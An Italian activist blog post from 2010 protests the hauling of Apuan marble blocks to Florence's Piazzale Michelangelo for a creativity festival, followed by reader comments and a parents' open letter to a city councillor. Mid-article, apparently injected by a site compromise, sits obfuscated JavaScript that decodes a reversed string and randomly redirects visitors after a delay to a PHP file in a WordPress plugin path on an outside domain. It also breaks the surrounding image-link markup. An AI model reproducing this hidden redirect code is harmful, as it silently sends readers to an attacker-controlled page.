Firenze, il Festival della Creatività festeggia la distruzione delle Apuane

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Riceviamo e volentieri pubblichiamo: 400 tonnellate di marmo al Piazzale Michelangelo. Presto il Piano di Sviluppo Economico Alternativo delle Apuane

Per inaugurare la quinta edizione del Festival della Creatività a Firenze si è deciso di trasportare 400 tonnellate di blocchi di marmo a Piazzale Michelangelo, impiegando oltre 14 camion e diverse gru. In questo momento di grande sofferenza ambientale si continua, in realtà, a devastare le Apuane e questo è in palese contraddizione con il concetto di Creatività, attività ben più nobile che non contempla la distruzione del paesaggio.

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/10/apuane-maltrattate.jpg”>La condizione delle Apuane vista da vicino...“Le Alpi Apuane, note al mondo appunto per il marmo bianco di Carrara, sono sottoposte negli ultimi decenni ad una escavazione selvaggia con oltre 5 milioni di tonnellate di montagna che vengono distrutte ogni anno e di questi i 3/4 sono solo scarti, che macinati e polverizzati finiscono nell’industria chimica per cosmetici ed altri prodotti”, ha detto Elia Pegollo, portavoce del Coordinamento Salviamo le Apuane.

“Questi dati – ha affermato Ornella De Zordo di perUnaltracittà, lista di cittadinanza che aderisce al coordinamento sin dalla sua nascita con la sottoscrizione della Carta delle Apuane (http://bit.ly/dlU8cV) – evidenziano chiaramente che l’escavazione del marmo è insostenibile per queste bellissime montagne a ridosso del mare, zone importanti non solo dal punto di vista ambientale e paesaggistico ma anche identitario, culturale e antropologico. Vogliamo inoltre evidenziare che l’escavazione distrugge le falde acquifere, mettendo in serio pericolo il sistema idrogeologico delle Province di Massa Carrara e Lucca, la devastazione è ovviamente irreversibile”.

“Tuttavia – ha concluso Pegollo – se vogliamo ragionarne seriamente e nell’ottica di salvare le Apuane e finirne la distruzione, una proposta la avanziamo: usiamo il marmo per la creatività, per l’arte, per il genio umano (come faceva Michelangelo che sarebbe inorridito vedendo il marmo, questa stupenda pietra, sbriciolato per i dentifrici) e interrompiamo subito quel “vilipendio” del marmo che è la sua polverizzazione per scopi davvero miseri. Su questo terreno siamo dispositi a ragionare da subito, quando, a giorni Salviamo le Apuane presenterà il suo Piano di Sviluppo Economico Alternativo delle Apuane. Ci auguriamo seriamente che vengano spese parole importanti per la difesa di questo territorio da parte delle forze politiche, invece di plaudire l’esibizione di brandelli delle nostre montagne, uno “spettacolo” che dovrebbe far inorridire chi ha ancora un po’ di rispetto per la nostra Madre Terra.”

Video della distruzione
http://www.youtube.com/watch?v=W1iLnIiOM2Q

Salviamo le Apuane
Coordinamento di associazioni e comitati per la salvaguardia delle Alpi Apuane
http://www.facebook.com/group.php?gid=92884413826

perUnaltracittà
Lista di cittadinanza – Firenze
http://www.perunaltracitta.org

0 Comments

  1. Arianna

    ho visto al TGR il geniale “artista” vantarsi che nemmeno i Medici avevano portato tanto marmo a Firenze… davvero molto creativo piantare lì 5 blocchi grezzi! ma non c’era proprio nessuno un filino meno idiota a cui affidare l’anteprima del Festival?

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  2. Arianna

    Sabato 23 ore 15.30 >> FLASH MOB: Tutti al Piazzale Michelangelo per una protesta creativa e nonviolenta, porta con te un tubetto di dentifricio ed uno spazzolino da denti… la protesta è tipo flash mob ci troviamo li e ti spiegheremo che fare…

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  3. Marco Milani

    quasi sullo stesso argomento:

    Gentile Assessore Mattei,
    siamo i genitori di alcuni dei partecipanti che venerdì 8 ottobre hanno aderito alla manifestazione degli studenti.
    Abbiamo letto con molto stupore le Sue dichiarazioni contro tale manifestazione; dichiarazioni che poi hanno prontamente portato al divieto del Prefetto di manifestare in piazza San Marco (quale sollecitudine da parte del Prefetto!), luogo simbolico di tutte le proteste e non solo di quelle studentesche.
    Assessore Mattei, sa qual è lo scopo di una manifestazione di protesta? Rendere visibili un disagio, un’ingiustizia, la richiesta di diritti ritenuti calpestati… E la visibilità la si ottiene anche gridando per strada, creando qualche disagio agli altri cittadini e portandoli così, forse, a riflettere su quello che sta accadendo in questo Paese. Ricorda? Anche gli scioperi causavano e causano disagio ad aziende e utenti dei servizi …
    Nel frattempo, abbiamo appreso dai giornali che ieri erano attesi 13 tir da Carrara che dovevano arrivare VOLUTAMENTE nell’ora in cui inizia il traffico di chi si reca al lavoro. Il tutto nel nome di una non meglio precisata performance artistica del tristemente famoso Cecchini, peraltro benedetta dalle istituzioni.
    Di fronte a ciò vediamo che ha addirittura tuonato chiedendo di spostare l’ora di arrivo dei TIR. Siamo sicuri che come Assessore al traffico non
    avesse qualche strumento più incisivo per rendere meno dannosa una simile scempiaggine? E quelle parole così forti usate contro gli studenti, che fine hanno fatto?

    Non vogliamo stare a mettere in contrasto protesta contro (supposta) arte, ma ci pare proprio che le sue reazioni non siano state proporzionate.
    Eviteremo, perché sarebbe fin troppo facile, di dire forte con i deboli e debole con i forti – forti di una sovraesposizione mediatica -, ma a noi
    resta un bel po’ di amaro in bocca.

    Qualcuno del PD in consiglio Comunale ha giustamente e sarcasticamente consigliato di far svolgere le manifestazioni al Parco delle Cascine; noi consigliamo Monte Morello, con buona pace Sua, Assessore Mattei, del Presidente dell’Ataf (che farebbe meglio a pensare a come migliorare il servizio nella quotidianità invece che prendersela con le manifestazioni) e del Ministro Gelmini, che La ringrazierà. Mentre Lei, naturalmente, sarà pronto ad accogliere a braccia aperte il prossimo convoglio di TIR al Piazzale Michelangelo.

    Ringraziandola per l’attenzione, La salutiamo

    Marco Milani
    Monica Bartoli
    Nicola Sarti
    Rita Piovelli
    Mariella Marzuoli
    Romina Romiti
    Andrea Caldini
    Mariella Bartoli
    Valerio Porciatti

    Firenze, 22 ottobre 2010

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